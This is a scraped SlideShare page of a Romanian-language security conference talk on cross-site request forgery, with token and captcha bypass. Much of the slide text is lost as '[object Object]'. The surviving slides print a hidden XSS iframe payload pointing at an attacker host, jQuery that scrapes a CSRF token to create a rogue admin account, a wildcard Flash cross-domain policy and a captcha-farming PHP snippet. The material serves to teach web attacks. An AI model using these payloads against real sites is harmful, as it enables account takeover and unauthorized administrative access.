![Cross Site Request Forgery Attacks Security token bypass Captcha bypass Presented by Vlad Horatiu [email_address]](https://image.slidesharecdn.com/csrf-111005121140-phpapp01/75/cross-site-request-forgery-attacks-1-2048.jpg?cb=1670011422)
![Context ,[object Object],[object Object],[object Object]](https://image.slidesharecdn.com/csrf-111005121140-phpapp01/75/cross-site-request-forgery-attacks-3-2048.jpg?cb=1670011422)
![Principiul de baza ,[object Object],[object Object]](https://image.slidesharecdn.com/csrf-111005121140-phpapp01/75/cross-site-request-forgery-attacks-4-2048.jpg?cb=1670011422)
![De ce avem nevoie de XSS? ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]](https://image.slidesharecdn.com/csrf-111005121140-phpapp01/75/cross-site-request-forgery-attacks-5-2048.jpg?cb=1670011422)
![Initierea atacului ,[object Object],<html> <iframe src="http://victimsite.com/index.php?xss=<script>document.write('<iframe src=apos;http://attackerapos;);</script>" width="50" height = "50" style="filter: alpha(opacity=0);-moz-opacity:0;opacity: .0;"> </iframe> </html>](https://image.slidesharecdn.com/csrf-111005121140-phpapp01/75/cross-site-request-forgery-attacks-6-2048.jpg?cb=1670011422)
![Token bypass ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]](https://image.slidesharecdn.com/csrf-111005121140-phpapp01/75/cross-site-request-forgery-attacks-8-2048.jpg?cb=1670011422)
![Token bypass ,[object Object],function addAdmin() { $.get("http://victimsite.com/admin/add_user.php", function(data){ var token = getBetween('&token=', '&', data); alert(token); $.get("http://victimsite.com/admin/add_user_success.php?user=1337hacker&pass=pwned&token"+token, function(data){ }); }); }; function getBetween(lft, rgt, string) { var split = ''; split = string.split('&token='); split = split[1]; split = split.split('&'); split = split[0]; return split; }](https://image.slidesharecdn.com/csrf-111005121140-phpapp01/75/cross-site-request-forgery-attacks-9-2048.jpg?cb=1670011422)
![Token bypass ,[object Object],function addAdmin() { $.get("http://victimsite.com/admin/add_user.php", function(data){ var token = getBetween("type=amp;quot;hiddenamp;quot; name=amp;quot;tokenamp;quot; value=amp;quot;", "amp;quot;", data); $.post("http://victimsite.com/admin/add_user.php", { user: "1337hacker", pass: "pwned", token: token }, function(data) {}) }); }; function getBetween(lft, rgt, string) { var split = ''; split = string.split('&token='); split = split[1]; split = split.split('&'); split = split[0]; return split; }](https://image.slidesharecdn.com/csrf-111005121140-phpapp01/75/cross-site-request-forgery-attacks-10-2048.jpg?cb=1670011422)
![Token bypass ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]](https://image.slidesharecdn.com/csrf-111005121140-phpapp01/75/cross-site-request-forgery-attacks-11-2048.jpg?cb=1670011422)
![Token bypass ,[object Object],[object Object]](https://image.slidesharecdn.com/csrf-111005121140-phpapp01/75/cross-site-request-forgery-attacks-12-2048.jpg?cb=1670011422)
![Flash Cross-domain policy ,[object Object],[object Object],[object Object],<cross-domain-policy> <allow-access-from domain="*"/> </cross-domain-policy>](https://image.slidesharecdn.com/csrf-111005121140-phpapp01/75/cross-site-request-forgery-attacks-13-2048.jpg?cb=1670011422)
![Captcha bypass ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]](https://image.slidesharecdn.com/csrf-111005121140-phpapp01/75/cross-site-request-forgery-attacks-14-2048.jpg?cb=1670011422)
![Captcha bypass ,[object Object],$rand = sha1(mt_rand(1000000, 9999999).microtime(true)); if(isset($_GET['path'])) file_put_contents($rand.'.jpg', file_get_contents($_GET['path'])); if ($captcha = $client->upload($rand.'.jpg')) { echo "CAPTCHA {$captcha['captcha']} uploaded"; sleep(DeathByCaptcha_Client::DEFAULT_TIMEOUT); if ($text = $client->get_text($captcha['captcha'])) { echo $text; } else { $client->remove($captcha['captcha']); echo '0'; } }](https://image.slidesharecdn.com/csrf-111005121140-phpapp01/75/cross-site-request-forgery-attacks-15-2048.jpg?cb=1670011422)
![Captcha bypass ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]](https://image.slidesharecdn.com/csrf-111005121140-phpapp01/75/cross-site-request-forgery-attacks-16-2048.jpg?cb=1670011422)
![Exemple concrete ,[object Object],[object Object]](https://image.slidesharecdn.com/csrf-111005121140-phpapp01/75/cross-site-request-forgery-attacks-17-2048.jpg?cb=1670011422)
Cross Site Request Forgery Attacks
•0 likes•1,153 views
Report
Share
Download to read offline
More Related Content
More from DefCamp
More from DefCamp(20)
![We will charge you. How to [b]reach vendor’s network using EV charging station.](https://cdn.slidesharecdn.com/ss_thumbnails/dmitryskljarcphexport1-190531064504-thumbnail.jpg?width=768&fit=bounds)
Cross Site Request Forgery Attacks
- 1. Cross Site Request Forgery Attacks Security token bypass Captcha bypass Presented by Vlad Horatiu [email_address]
- 2. Ce este CSRF
- 7. Login check function check() { $.get("login.html", function(data){ if(data.indexOf('blanaa') != -1) { var logged = tryToLogin(); } else { var logged = true; } }); }; function tryToLogin() { $.get("login.html", function(data){ $('#form_frame').contents().find('form').submit(); return (data.indexOf('blanaa') != -1); }); }
- 18. Intrebari